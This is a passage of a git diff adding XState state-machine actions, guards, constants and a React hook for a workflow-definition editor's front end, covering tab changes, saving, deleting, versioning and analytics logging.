+); + +export const forwardToErrorInspector = forwardTo("errorInspectorMachine"); + +export const forwardSelectEdge = forwardTo("formTaskMachine"); + +export const logStuff = (context: DefinitionMachineContext, event: any) => { + logger.error("[Error]: This is the context", context); + logger.error("[Error]: This is the event", event); +}; + +export const startRenderingGtag = ( + context: DefinitionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, `event`); + const prefix = `event_at_workflow_${context?.workflowName}_start_rendering_diagram_request`; + gtagAbstract(prefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowName, + user_performed_action: event?.type, + start_time: new Date().getTime(), + ...flattenEvent, + }); +}; + +export const gtagEventLogger = ( + context: DefinitionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, `event`); + const prefix = `event_at_workflow_${context?.workflowName}_of_type_${event?.type}`; + gtagAbstract(prefix, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowName, + user_performed_action: event?.type, + ...flattenEvent, + }); +}; +export const gtagErrorLogger = ( + context: DefinitionMachineContext, + event: any, +) => { + const flattenEvent = flattenGtagObject(event, "event"); + gtagAbstract(`error_${context?.workflowName}_${event?.type}`, { + user_uuid: context.currentUserInfo?.uuid, + workflow_name: context?.workflowName, + user_performed_action: event?.type, + ...flattenEvent, + }); +}; + +export const cleanServerErrors = sendTo( + "errorInspectorMachine", + (__context, _event) => { + return { + type: ErrorInspectorEventTypes.CLEAN_SERVER_ERRORS, + }; + }, +); + +export const cleanRunErrors = sendTo( + "errorInspectorMachine", + (__context, _event) => { + return { + type: ErrorInspectorEventTypes.CLEAN_RUN_ERRORS, + }; + }, +); + +export const persistWorkflowChanges = assign( + ({ workflowChanges }, { workflow }) => { + if (_isNil(workflow)) { + logger.info( + "persistWorkflowChanges: incoming workflow is null so staying with context changes.", + ); + + return { + workflowChanges, + }; + } + + return { + workflowChanges: workflow, + }; + }, +); + +export const sendWorkflowToInspector = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("errorInspectorMachine", ({ workflowChanges }) => { + return { + type: ErrorInspectorEventTypes.SET_WORKFLOW, + workflow: workflowChanges || {}, + }; +}); + +export const sendWorkflowChangesToMetadataMachine = sendTo< + DefinitionMachineContext, + any, + ActorRef +>("workflowTabMetaEditor", ({ workflowChanges }) => { + return { + type: WorkflowMetadataMachineEventTypes.FORCE_WORKFLOW, + workflow: workflowChanges || {}, + }; +}); + +// Reads from event.workflow directly (not ctx.workflowChanges) to avoid XState +// v4 assign-before-sendTo timing: assign actions update context for the next +// state snapshot, so sendTo actions in the same transition still see the old +// context value. +// +// IMPORTANT: workflowTabMetaEditor is only invoked as a child actor when the +// machine is in the `workflowEditor` state (i.e. openedTab === WORKFLOW_TAB). +// XState v4's sendTo throws synchronously inside resolveTransition when the +// target actor doesn't exist, which aborts the entire transition — including +// all assign actions (like persistWorkflowChanges) that should have committed +// context updates. We guard with choose so the sendTo is only attempted when +// the actor is guaranteed to be running. +export const sendWorkflowChangesToMetadataMachineFromEvent = choose< + DefinitionMachineContext, + any +>([ + { + cond: ({ openedTab }: DefinitionMachineContext) => + openedTab === WORKFLOW_TAB, + actions: sendTo< + DefinitionMachineContext, + any, + ActorRef + >("workflowTabMetaEditor", (_ctx, event) => ({ + type: WorkflowMetadataMachineEventTypes.FORCE_WORKFLOW, + workflow: event.workflow || {}, + })), + }, +]); + +export const forwardWorkflowToCodeMachine = sendTo< + DefinitionMachineContext, + any, + any +>("codeMachine", (_ctx, event) => { + return { + type: CodeMachineEventTypes.FORCE_WORKFLOW, + workflow: event.workflow, + }; +}); + +export const notifyToFlowIfOutputParameters = choose< + DefinitionMachineContext, + UpdateWorkflowMetadataEvent +>([ + { + cond: (_context, event) => + _has(event, "workflowMetadata.outputParameters") || + _has(event, "workflowMetadata.inputParameters"), + actions: ["notifyFlowUpdates"], + }, + { + actions: [ + (__c) => + log("Nothing to notify. outputParameters have not been modified"), + ], + }, +]); + +export const persistRemovalOperation = assign< + DefinitionMachineContext, + RemoveBranchFromTaskEvent +>({ + lastRemovalOperation: (__context, { type: _type, ...rest }) => rest, +}); + +export const cleanLastRemovalOperation = assign({ + lastRemovalOperation: undefined, +}); + +export const applyLastRemovalOperationAsRemoveTaskOperation = assign< + DefinitionMachineContext, + any +>({ + workflowChanges: (context) => { + const { lastRemovalOperation } = context; + const { crumbs, task } = lastRemovalOperation!; + const workflowAfterChanges = applyWorkflowOperation({ + workflow: context?.workflowChanges, + crumbs, + taskDef: task, + operation: { + type: DELETE_TASK, + payload: {}, + }, + }); + return workflowAfterChanges; + }, +}); + +export const forwardWorkflowToLocalCopyMachine = forwardTo("localCopyMachine"); + +export const forwardWorkflowToMetadataEditorMachine = forwardTo( + "workflowMetadataEditorMachine", +); + +export const forwardWorkflowToTabMetadataEditorMachine = forwardTo( + "workflowTabMetaEditor", +); + +export const removeLocalCopy = raise({ + type: LocalCopyMachineEventTypes.REMOVE_LOCAL_COPY, +}); + +export const persistWorkflowNameAndVersion = assign< + DefinitionMachineContext, + SavedSuccessfulEvent +>({ + workflowName: ({ workflowName }, { workflowName: eventWfName }) => + eventWfName ? eventWfName : workflowName, + currentVersion: ( + { currentVersion }, + { currentVersion: eventCurrentVersion }, + ) => (eventCurrentVersion ? `${eventCurrentVersion}` : currentVersion), + currentWf: (_context, { workflow }) => workflow, + workflowChanges: (_context, { workflow }) => workflow, + isNewWorkflow: (_context, { isNewWorkflow }) => isNewWorkflow, +}); + +export const maybePersistLocalCopyMessage = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ + workflow: Partial; + isLocalStorageEmpty?: boolean; + }> +>({ + localCopyMessage: ({ isNewWorkflow }, event) => { + return isNewWorkflow && !event.data?.isLocalStorageEmpty + ? `Showing last unsaved workflow. ` + : undefined; + }, +}); + +export const moveTaskFromLocation = assign< + DefinitionMachineContext, + MoveTaskEvent +>({ + workflowChanges: (context, event) => { + const { + sourceTask, + sourceTaskCrumbs, + targetLocationCrumbs, + targetTask, + position, + } = event; + + return moveTask({ + workflow: context?.workflowChanges, + source: { task: sourceTask, crumbs: sourceTaskCrumbs }, + target: { crumbs: targetLocationCrumbs, task: targetTask }, + position: positionIdentifier(position), + }); + }, +}); + +export const selectMovedTask = sendTo< + DefinitionMachineContext, + any, + ActorRef +>( + "flowMachine", + (__context, { sourceTask }) => { + return { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: sourceTask?.taskReferenceName, + }, + }; + }, + { delay: 100 }, +); + +export const reSelectTaskIfSelected = pure( + ({ selectedTaskCrumbs }) => { + const lastCrumb = _last(selectedTaskCrumbs); + if (lastCrumb?.ref) { + return sendTo>( + "flowMachine", + (__context) => { + return { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: lastCrumb?.ref, + }, + }; + }, + { delay: 100 }, + ); + } + }, +); + +export const cleanLocalCopyMessage = assign({ + localCopyMessage: undefined, +}); + +export const updateWfFromLocalStorage = assign< + DefinitionMachineContext, + DoneInvokeEvent< + { workflow?: Partial } | UseLocalCopyChangesEvent + > +>((context, { data }) => { + return { + workflowChanges: data.workflow, + }; +}); + +export const fireChangeToWorkflowTab = raise({ + type: DefinitionMachineEventTypes.CHANGE_TAB_EVT, + tab: LeftPaneTabs.WORKFLOW_TAB, +}); + +export const fireChangeToCodeTab = raise({ + type: DefinitionMachineEventTypes.CHANGE_TAB_EVT, + tab: LeftPaneTabs.CODE_TAB, +}); + +export const fireChangeToRunTab = raise({ + type: DefinitionMachineEventTypes.CHANGE_TAB_EVT, + tab: LeftPaneTabs.RUN_TAB, +}); + +export const fireChangeToDependenciesTab = raise( + { + type: DefinitionMachineEventTypes.CHANGE_TAB_EVT, + tab: LeftPaneTabs.DEPENDENCIES_TAB, + }, +); + +export const handleLeftPanelExpanded = raise< + DefinitionMachineContext, + HandleLeftPanelExpandedEvent +>({ + type: DefinitionMachineEventTypes.HANDLE_LEFT_PANEL_EXPANDED, + onSelectNode: true, +}); + +export const persistCodeReference = assign< + DefinitionMachineContext, + HighlightTextReferenceEvent +>({ + codeTextReference: (_context, { reference }) => reference, +}); + +export const cleanCodeTextReference = assign({ + codeTextReference: undefined, +}); + +export const setRunTabAsPreviousTab = assign({ + previousTab: (_context, _event) => RUN_TAB, +}); + +export const fireSaveEvent = raise< + DefinitionMachineContext, + SaveAndRunRequestEvent +>({ + type: DefinitionMachineEventTypes.SAVE_EVT, + isSaveAndRun: true, +}); + +export const fireSaveAndCreateNewRequestEvent = raise< + DefinitionMachineContext, + SaveAndCreateNewRequestEvent +>((__, event) => ({ + type: DefinitionMachineEventTypes.SAVE_EVT, + originalEvent: event.type, +})); + +export const raiseResetEvent = raise< + DefinitionMachineContext, + ResetRequestEvent +>( + { + type: DefinitionMachineEventTypes.RESET_EVT, + }, + { delay: 200 }, +); +export const raiseDeleteEvent = raise< + DefinitionMachineContext, + DeleteRequestEvent +>( + { + type: DefinitionMachineEventTypes.DELETE_EVT, + }, + { delay: 200 }, +); +export const raiseSaveEvent = raise< + DefinitionMachineContext, + SaveAsNewVersionRequestEvent +>( + (__, { isNewVersion }) => ({ + type: DefinitionMachineEventTypes.SAVE_EVT, + isNewVersion, + }), + { delay: 200 }, +); + +export const raiseSaveAndRunEvent = raise< + DefinitionMachineContext, + HandleSaveAndRunEvent +>( + { + type: DefinitionMachineEventTypes.HANDLE_SAVE_AND_RUN, + }, + { delay: 200 }, +); + +export const justExecute = sendTo< + DefinitionMachineContext, + any, + ActorRef +>( + "runWorkflowMachine", + () => { + return { + type: RunMachineEventsTypes.TRIGGER_RUN_WORKFLOW, + }; + }, + { delay: 200 }, +); + +export const raiseSaveAndCreateNewEvent = raise< + DefinitionMachineContext, + HandleSaveAndCreateNewEvent +>( + { + type: DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW, + }, + { delay: 200 }, +); + +export const maybeSelectInitialSelectedTaskReference = pure< + DefinitionMachineContext, + any +>(({ initialSelectedTaskReferenceName }) => { + if (initialSelectedTaskReferenceName != null) { + return sendTo>( + "flowMachine", + (__context) => { + return { + type: FlowActionTypes.SELECT_NODE_EVT, + node: { + id: initialSelectedTaskReferenceName, + }, + }; + }, + { delay: 50 }, + ); + } +}); + +export const cleanInitialSelectedTaskReferenceName = assign({ + initialSelectedTaskReferenceName: undefined, +}); + +export const setSaveSourceEventType = assign< + DefinitionMachineContext, + HandleSaveAndCreateNewEvent +>({ + saveSourceEventType: (_context, event) => event.type, +}); + +export const raiseUpdateAtribsEvent = raise< + DefinitionMachineContext, + UpdateAttributesEvent +>( + ( + context: DefinitionMachineContext, + { + isNewWorkflow, + workflowName, + workflowVersions, + currentVersion, + workflowTemplateId, + }: UpdateAttributesEvent, + ) => { + // Check if this is a "save and create new" operation by looking at the save source event type + const isContinueCreate = + context.saveSourceEventType === + DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW; + + // If this is a "save and create new" operation, use new workflow attributes + if (isContinueCreate) { + return { + type: DefinitionMachineEventTypes.UPDATE_ATTRIBS_EVT, + workflowName: "NEW", // This will be replaced by persistWorkflowAttribs + isNewWorkflow: true, + workflowVersions: [], + currentVersion: undefined, + workflowTemplateId: undefined, + }; + } + + return { + type: DefinitionMachineEventTypes.UPDATE_ATTRIBS_EVT, + workflowName, + isNewWorkflow, + workflowVersions, + currentVersion, + workflowTemplateId, + // Do NOT set preserveWorkflowChanges here. After a successful save the + // machine re-fetches the workflow from the server; workflowChanges must + // be reset to {} so that updateWf can sync it to the freshly-loaded + // server copy. If we preserved the stale workflowChanges here, + // fastDeepEqual(workflowChanges, currentWf) would fail (server adds + // updateTime etc.) and the save button would stay permanently enabled. + }; + }, +); +export const persistWorkflowVersionsParsed = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ versions: number[] }> +>((_context, { data: { versions } }) => { + return { + workflowVersions: versions, + }; +}); + +export const persistLatestVersion = assign< + DefinitionMachineContext, + DoneInvokeEvent<{ versions: string[] }> +>((_context, { data: { versions } }) => { + const latestVersion = _last(versions); + return { + currentVersion: latestVersion, + }; +}); + +export const markDontShowImportSuccessfulDialogAgain = () => { + localStorage.setItem( + DONT_SHOW_IMPORT_SUCCESSFUL_DIALOG_TUTORIAL_AGAIN, + "true", + ); +}; +export const showTaskDescriptions = sendTo< + DefinitionMachineContext, + any, + ActorRef +>( + "flowMachine", + (__context) => { + return { + type: FlowActionTypes.TOGGLE_SHOW_DESCRIPTION, + }; + }, + { delay: 100 }, +); + +export const persistImportSummary = assign< + DefinitionMachineContext, + DoneInvokeEvent +>({ + importSummary: (_context, { data }) => data, +}); + +export const reportErrorToErrorInspector = sendTo( + ({ errorInspectorMachine }) => errorInspectorMachine, + (_context, { data }: DoneInvokeEvent<{ message: string }>) => ({ + type: ErrorInspectorEventTypes.REPORT_SERVER_ERROR, + text: data.message, + }), +); + +export const cleanSerializationError = sendTo( + "errorInspectorMachine", + (_context, _event) => { + return { + type: ErrorInspectorEventTypes.CLEAN_SERIALIZATION_ERROR, + }; + }, +); + +export const updateRunTabFormState = assign< + DefinitionMachineContext, + SyncRunContextAndChangeTabEvent +>({ + runTabFormState: (_ctx, event) => event.data.runMachineContext, +}); + +export const toggleAgentExpanded = assign< + DefinitionMachineContext, + ToggleAgentExpandedEvent +>({ + isAgentExpanded: (context, event) => { + if (event.expanded !== undefined) { + return event.expanded; + } + return !context.isAgentExpanded; + }, +}); + +export const collapseAgent = assign({ + isAgentExpanded: false, +}); + +export const autoExpandAgentForNewWorkflow = assign< + DefinitionMachineContext, + any +>({ + isAgentExpanded: (context) => { + // Auto-expand agent for new workflows after diagram loads + return context.isNewWorkflow ? true : context.isAgentExpanded; + }, +}); + +export const forwardToRunWorkflowMachine = forwardTo("runWorkflowMachine"); diff --git a/ui-next/src/pages/definition/state/constants.js b/ui-next/src/pages/definition/state/constants.js new file mode 100644 index 0000000..05623c6 --- /dev/null +++ b/ui-next/src/pages/definition/state/constants.js @@ -0,0 +1,40 @@ +export const themes = [ + { name: "Light", value: "vs-light" }, + { name: "Dark", value: "vs-dark" }, +]; + +// Events +export const UPDATE_ATTRIBS_EVT = "updateAttributes"; +export const SAVE_EVT = "save"; +export const RESET_EVT = "reset"; +export const DELETE_EVT = "delete"; +export const CHANGE_VERSION_EVT = "changeVersion"; +export const ASSIGN_MESSAGE_EVT = "assignMessage"; +export const MESSAGE_RESET_EVT = "messageReset"; +export const RESET_CONFIRM_EVT = "resetConfirm"; +export const CANCEL_EVENT_EVT = "cancel"; +export const DELETE_CONFIRM_EVT = "deleteConfirm"; +export const CHANGE_TAB_EVT = "changeTab"; +export const CHANGE_TAB_INNER_EVT = "changeTabInner"; +export const PERFORM_OPERATION_EVT = "performOperation"; +export const REPLACE_TASK_EVT = "replaceTask"; +export const DEBOUNCE_REPLACE_TASK_EVT = "debounceReplaceTask"; +export const REMOVE_TASK_EVT = "removeTask"; +export const ADD_NEW_SWITCH_PATH_EVT = "addNewSwitchPathToTask"; +export const UPDATE_WF_METADATA_EVT = "updateWorkflowMetadata"; +export const REMOVE_BRANCH_EVT = "removeBranch"; + +export const FLOW_FINISHED_RENDERING = "FLOW_FINISHED_RENDERING"; + +// Tabs +export const WORKFLOW_TAB = 0; +export const TASK_TAB = 1; +export const CODE_TAB = 2; +export const RUN_TAB = 3; +export const DEPENDENCIES_TAB = 4; + +// ERROR MESSAGES +export const SEVERITY_ERROR = "error"; + +export const WORKFLOW_DOES_NOT_EXIST_MESSAGE = + "Workflow definition does not exist, or you don't have permissions to view it."; diff --git a/ui-next/src/pages/definition/state/guards.ts b/ui-next/src/pages/definition/state/guards.ts new file mode 100644 index 0000000..0610124 --- /dev/null +++ b/ui-next/src/pages/definition/state/guards.ts @@ -0,0 +1,203 @@ +import { + WORKFLOW_TAB, + TASK_TAB, + CODE_TAB, + RUN_TAB, + DEPENDENCIES_TAB, +} from "./constants"; +import { + START_TASK_FAKE_TASK_REFERENCE_NAME, + END_TASK_FAKE_TASK_REFERENCE_NAME, +} from "components/features/flow/nodes"; +import { SelectNodeEvent } from "components/features/flow/state"; + +import _isNil from "lodash/isNil"; +import _last from "lodash/last"; +import { + DefinitionMachineContext, + ChangeTabEvent, + PerformOperationEvent, + SaveAndRunRequestEvent, + SaveRequestEvent, + DONT_SHOW_IMPORT_SUCCESSFUL_DIALOG_TUTORIAL_AGAIN, +} from "./types"; +import { WorkflowWithNoErrorsEvent } from "../errorInspector/state"; +import { DoneInvokeEvent } from "xstate"; +import { ADD_TASK, ADD_TASK_ABOVE, ADD_TASK_BELOW } from "./taskModifier"; +import { TaskType } from "types"; +import fastDeepEqual from "fast-deep-equal"; +import { queryClient } from "queryClient"; +import { fetchContextNonHook } from "plugins/fetch"; +import { WORKFLOW_METADATA_BASE_URL_SHORT } from "utils/constants/api"; + +const fetchContext = fetchContextNonHook(); + +export const isNewWorkflow = (context: DefinitionMachineContext) => + context.isNewWorkflow; + +export const isEditorTab = ({ openedTab }: DefinitionMachineContext) => + openedTab === CODE_TAB; + +export const isRunTab = ({ openedTab }: DefinitionMachineContext) => + openedTab === RUN_TAB; + +export const isDependenciesTab = ({ openedTab }: DefinitionMachineContext) => + openedTab === DEPENDENCIES_TAB; + +export const comesFromCodeAimsTaskTabHasSelectedTask = ( + { openedTab, selectedTaskCrumbs }: DefinitionMachineContext, + { tab }: ChangeTabEvent, +) => + openedTab === CODE_TAB && tab === TASK_TAB && selectedTaskCrumbs?.length > 0; + +export const isTaskEditorTab = ({ openedTab }: DefinitionMachineContext) => + openedTab === TASK_TAB; + +export const isWorkflowEditorTab = ({ openedTab }: DefinitionMachineContext) => + openedTab === WORKFLOW_TAB; + +export const isDifferentTab = ( + { openedTab }: DefinitionMachineContext, + { tab }: ChangeTabEvent, +) => openedTab !== tab; + +export const isValidSelection = ( + _context: DefinitionMachineContext, + { node: { id } }: SelectNodeEvent, +) => + ![ + START_TASK_FAKE_TASK_REFERENCE_NAME, + END_TASK_FAKE_TASK_REFERENCE_NAME, + ].includes(id); + +export const isChangingTab = ( + { openedTab }: DefinitionMachineContext, + { tab }: ChangeTabEvent, +) => openedTab !== tab; + +export const hasLastPerformedOperation = ({ + lastPerformedOperation, +}: DefinitionMachineContext) => !_isNil(lastPerformedOperation); + +export const wasSaved = ( + _context: DefinitionMachineContext, + event: DoneInvokeEvent<{ saved: boolean }>, +) => event.data.saved; + +export const workflowWasSentWithNoErrors = ( + __context: DefinitionMachineContext, + event: WorkflowWithNoErrorsEvent, +) => event.workflow !== undefined; + +export const hasSelectedTask = ({ + selectedTaskCrumbs, +}: DefinitionMachineContext) => selectedTaskCrumbs.length === 0; + +export const wantToRemoveLastForkIndex = ({ + lastRemovalOperation, +}: DefinitionMachineContext) => { + return ( + lastRemovalOperation?.task.type === TaskType.FORK_JOIN && + lastRemovalOperation?.task?.forkTasks?.length === 1 && + lastRemovalOperation?.branchName === "0" + ); +}; + +export const isAddOperation = ( + __context: DefinitionMachineContext, + { data }: PerformOperationEvent, +) => { + return [ADD_TASK, ADD_TASK_ABOVE, ADD_TASK_BELOW].includes(data?.action); +}; + +export const isLastVersion = ( + context: DefinitionMachineContext, + event: DoneInvokeEvent<{ versions: string[] }>, +) => { + if (event.data.versions?.length === 0) { + return true; + } + return false; +}; + +export const selectedTaskIsInForkBranch = ({ + lastRemovalOperation, + selectedTaskCrumbs, +}: DefinitionMachineContext) => { + if (lastRemovalOperation?.task?.type === TaskType.FORK_JOIN) { + const lastCrumb = _last(selectedTaskCrumbs); + if (lastCrumb != null) { + return lastRemovalOperation.branchName === String(lastCrumb.forkIndex); + } + } + return false; +}; + +export const selectedTaskIsInSwitchBranch = ({ + lastRemovalOperation, + selectedTaskCrumbs, +}: DefinitionMachineContext) => { + if (lastRemovalOperation?.task?.type === TaskType.SWITCH) { + const lastCrumb = _last(selectedTaskCrumbs); + if (lastCrumb != null) { + return lastRemovalOperation.branchName === lastCrumb.decisionBranch; + } + } + return false; +}; + +export const isDescriptionEmpty = ( + context: DefinitionMachineContext, + event: SaveRequestEvent, +) => + !event?.skipDescriptionCheck && + (context.workflowChanges?.description ?? "").trim() === ""; + +export const isSaveAndRunRequest = ( + __context: DefinitionMachineContext, + { isSaveAndRun }: SaveAndRunRequestEvent, +) => { + return isSaveAndRun ? true : false; +}; + +export const hasNoChanges = (context: DefinitionMachineContext) => + fastDeepEqual(context.workflowChanges, context.currentWf); + +export const isSaveAndRunWithNoChanges = ( + context: DefinitionMachineContext, + event: SaveAndRunRequestEvent, +) => { + return isSaveAndRunRequest(context, event) && hasNoChanges(context); +}; + +export const isFirstTimeFlow = (context: DefinitionMachineContext) => { + const workflowDefinitionUrl = WORKFLOW_METADATA_BASE_URL_SHORT; + const key = [fetchContext.stack, workflowDefinitionUrl]; + const data = queryClient.getQueryData(key); + // Check by local storage. and if there is any workflow in cache + return ( + Boolean(context.successfullyImportedWorkflowId) === true && + (data === undefined || data?.length === 0) + ); +}; + +export const dontNeedToShowImportSuccessfulDialog = ( + context: DefinitionMachineContext, +) => { + const dontShowImportSuccessfulDialogTutorialAgain = localStorage.getItem( + DONT_SHOW_IMPORT_SUCCESSFUL_DIALOG_TUTORIAL_AGAIN, + ); + return ( + Boolean(context.successfullyImportedWorkflowId) === false || + dontShowImportSuccessfulDialogTutorialAgain === "true" + ); +}; + +export const importSummaryHasDependencies = ( + context: DefinitionMachineContext, +) => { + return ( + context.importSummary?.integrationsAndModelsResponse != null && + context.importSummary?.integrationsAndModelsResponse.length > 0 + ); +}; diff --git a/ui-next/src/pages/definition/state/hook.ts b/ui-next/src/pages/definition/state/hook.ts new file mode 100644 index 0000000..d619b77 --- /dev/null +++ b/ui-next/src/pages/definition/state/hook.ts @@ -0,0 +1,307 @@ +import { useInterpret, useSelector } from "@xstate/react"; +import { MessageContext } from "components/providers/messageContext"; +import { useSetAtom } from "jotai"; +import _get from "lodash/get"; +import { + DefinitionMachineEventTypes, + RedirectToExecutionPageEvent, + WorkflowDefinitionEvents, +} from "pages/definition/state/types"; +import { usePanelChanges } from "pages/definition/state/usePanelChanges"; +import { removeDeletedWorkflow } from "pages/runWorkflow/runWorkflowUtils"; +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useContext, useEffect, useMemo } from "react"; +import { useQueryClient } from "react-query"; +import { Location, useLocation, useNavigate, useParams } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import { setDefinitionServiceAtom } from "components/features/agent/agentAtomsStore"; +import { AuthContext } from "components/features/auth/context"; +import { PersistableSidebarEventTypes } from "shared/PersistableSidebar/state/types"; +import { AuthProviderMachineContext } from "shared/state"; +import { User } from "types/User"; +import { getErrors } from "utils"; +import { WORKFLOW_METADATA_BASE_URL } from "utils/constants/api"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; +import { useActionWithPath, useAuthHeaders } from "utils/query"; +import { ActorRef, State } from "xstate"; +import { workflowDefinitionMachine } from "./machine"; + +const WORKFLOW_FETCH_FAILED = "Failed to fetch workflow"; +const WORKFLOW_FETCH_FORBIDDEN = + "You don't seem to have access to view this workflow"; + +const isNewWorkflowFn = (location: Location) => + location.pathname === WORKFLOW_DEFINITION_URL.NEW; + +export const useWorkflowDefinition = (currentUser: User) => { + const queryClient = useQueryClient(); + const fetchContext = useFetchContext(); // Maintain compatibility + const { setMessage } = useContext(MessageContext); + const [timeInParameter, setTimeInParameter] = useQueryState( + "showImportSuccess", + "", + ); + const [blogUrl] = useQueryState("blogUrl", ""); + const [taskReferenceName, handleTaskReferenceName] = useQueryState( + "taskReferenceName", + "", + ); + const authHeaders = useAuthHeaders(); + + const setDefinitionService = useSetAtom(setDefinitionServiceAtom); + + // Needed stuff for compatibility mode + const navigate = useNavigate(); + + const { authService } = useContext(AuthContext); + + // No-op actor used as a fallback when authService is not available (OSS mode). + const dummyActor = useMemo( + (): ActorRef => ({ + id: "noop", + send: () => {}, + subscribe: () => ({ unsubscribe: () => {} }), + getSnapshot: () => ({ children: {} }), + [Symbol.observable]() { + return { subscribe: () => ({ unsubscribe: () => {} }) }; + }, + }), + [], + ); + + const sidebarActor = useSelector( + authService ?? dummyActor, + (state: State) => + state?.children?.["sidebarMachine"], + ); + + const { mutateAsync: deleteWorkflowMutator } = useActionWithPath(); + + const location = useLocation(); + const params = useParams(); + const isNewWorkflowUrl = isNewWorkflowFn(location); + const templateIdMaybe = _get(params, "templateId"); + const version = _get(params, "version"); + const workflowNameParam = _get(params, "name"); + const workflowName = useMemo(() => { + if (isNewWorkflowUrl) { + return "NEW"; + } + + if (workflowNameParam) { + try { + return decodeURIComponent(workflowNameParam); + } catch { + setMessage({ + severity: "error", + text: "Name has invalid chars and cant be opened.", + }); + return ""; + } + } + + return ""; + }, [isNewWorkflowUrl, workflowNameParam, setMessage]); + // End needed stuff + + const fetchWorkflowAndRelatedData = async ( + workflowName: string, + currentVersion: string | undefined, + ) => { + const maybeVersion = currentVersion ? `?version=${currentVersion}` : ""; + const path = `${WORKFLOW_METADATA_BASE_URL}/${encodeURIComponent( + workflowName, + )}${maybeVersion}`; + + try { + // First fetch the workflow metadata + const workflowData = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers: authHeaders }), + ); + + return { + workflow: workflowData, + }; + } catch (error: any) { + const errorMessage = (await getErrors(error))?.message; + + if (errorMessage) { + return Promise.reject({ message: errorMessage }); + } + + const status = error.status; + + if (status === 403) { + return Promise.reject({ message: WORKFLOW_FETCH_FORBIDDEN }); + } + + if (status === 404) { + return Promise.reject({ message: "Workflow was not found" }); + } + + return Promise.reject({ message: WORKFLOW_FETCH_FAILED }); + } + }; + + const service = useInterpret(workflowDefinitionMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + currentUserInfo: currentUser, + initialSelectedTaskReferenceName: taskReferenceName, + successfullyImportedWorkflowId: timeInParameter, + isAgentExpanded: localStorage.getItem("agentExpanded") === "true", + }, + services: { + fetchWorkflow: async (data) => { + const { workflowName, currentVersion } = data; + + if (workflowName) { + const result = fetchWorkflowAndRelatedData( + workflowName, + currentVersion, + ); + return result; + } + }, + deleteWorkflowVersion: async ({ currentWf }, __) => { + try { + if (currentWf?.name) { + // @ts-ignore + await deleteWorkflowMutator({ + method: "delete", + path: `${WORKFLOW_METADATA_BASE_URL}/${encodeURIComponent( + currentWf.name, + )}/${currentWf?.version}`, + }).then(() => { + removeDeletedWorkflow(currentWf?.name, currentWf?.version); + }); + } else { + return Promise.reject({ message: "Workflow's name is undefined" }); + } + } catch (error) { + return Promise.reject(error); + } + }, + }, + actions: { + closeLeftSidebar: () => { + sidebarActor?.send({ + type: PersistableSidebarEventTypes.COLLAPSE_SIDEBAR_EVENT, + }); + }, + openLeftSidebar: () => { + sidebarActor?.send({ + type: PersistableSidebarEventTypes.EXPAND_SIDEBAR_EVENT, + }); + }, + pushToHistory: ( + { workflowName, currentVersion }, + { isContinueCreate }: any, + ) => { + if (isContinueCreate) { + // Clear localStorage for new workflow when saving and creating new + localStorage.removeItem("newWorkflowDef"); + // Clear workflow history and selected workflow to ensure clean state + localStorage.removeItem("workflowHistory"); + localStorage.removeItem("selectedWorkflow"); + + if (isNewWorkflowUrl) { + window.location.reload(); + } else { + navigate(WORKFLOW_DEFINITION_URL.NEW); + } + } else if (workflowName) { + navigate( + `${WORKFLOW_DEFINITION_URL.BASE}/${encodeURIComponent( + workflowName, + )}${currentVersion == null ? "" : "/" + currentVersion}`, + ); + } + }, + goBackToDefinitionSelection: (_context) => { + navigate(WORKFLOW_DEFINITION_URL.BASE); + }, + redirectToExecutionPage: ( + _context, + data: RedirectToExecutionPageEvent, + ) => { + navigate(`/execution/${data.executionId}`); + }, + setQueryParam: (_context, data: any) => { + handleTaskReferenceName(data?.node?.id); + }, + removeQueryParam: (_context) => { + handleTaskReferenceName(""); + }, + dismissImportSuccessfullParam: () => { + setTimeInParameter(""); + }, + showSuccessMassage: () => { + setMessage({ + text: "Workflow saved successfully.", + severity: "success", + }); + }, + }, + }); + + const workflowVersions = useSelector( + service, + (state) => state.context.workflowVersions, + ); + + useEffect(() => { + if (isNewWorkflowUrl || templateIdMaybe || workflowName || version) { + service.send({ + type: DefinitionMachineEventTypes.UPDATE_ATTRIBS_EVT, + workflowName, + isNewWorkflow: isNewWorkflowUrl, + + currentVersion: version, + workflowTemplateId: templateIdMaybe, + }); + } + }, [workflowName, isNewWorkflowUrl, templateIdMaybe, version, service]); + + const handleSetMessage = (messageSeverity: any) => + service.send({ + type: DefinitionMachineEventTypes.ASSIGN_MESSAGE_EVT, + ...messageSeverity, + }); + + const handleResetMessage = () => { + service.send({ type: DefinitionMachineEventTypes.MESSAGE_RESET_EVT }); + }; + + const isNewWorkflow = useSelector( + service, + (state) => state.context.isNewWorkflow, + ); + + const message = useSelector(service, (state) => state.context.message); + const { leftPanelExpanded, setLeftPanelExpanded } = usePanelChanges(service); + + // FIXME: Temporary hack to pin the service to the Agent atom store. + useEffect(() => { + setDefinitionService(service as ActorRef); + }, [service, setDefinitionService]); + + return [ + { + handleSetMessage, + handleResetMessage, + setLeftPanelExpanded, + }, + { + isNewWorkflow, + workflowName, + workflowVersions, + message, + definitionActor: service, + leftPanelExpanded, + blogUrl, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/state/index.ts b/ui-next/src/pages/definition/state/index.ts new file mode 100644 index 0000000..eceac82 --- /dev/null +++ b/ui-next/src/pages/definition/state/index.ts @@ -0,0 +1,2 @@ +export * from "./types"; +export * from "./WorkflowEditContext"; diff --git a/ui-next/src/pages/definition/state/machine.ts b/ui-next/src/pages/definition/state/machine.ts new file mode 100644 index 0000000..8cdcf42 --- /dev/null +++ b/ui-next/src/pages/definition/state/machine.ts @@ -0,0 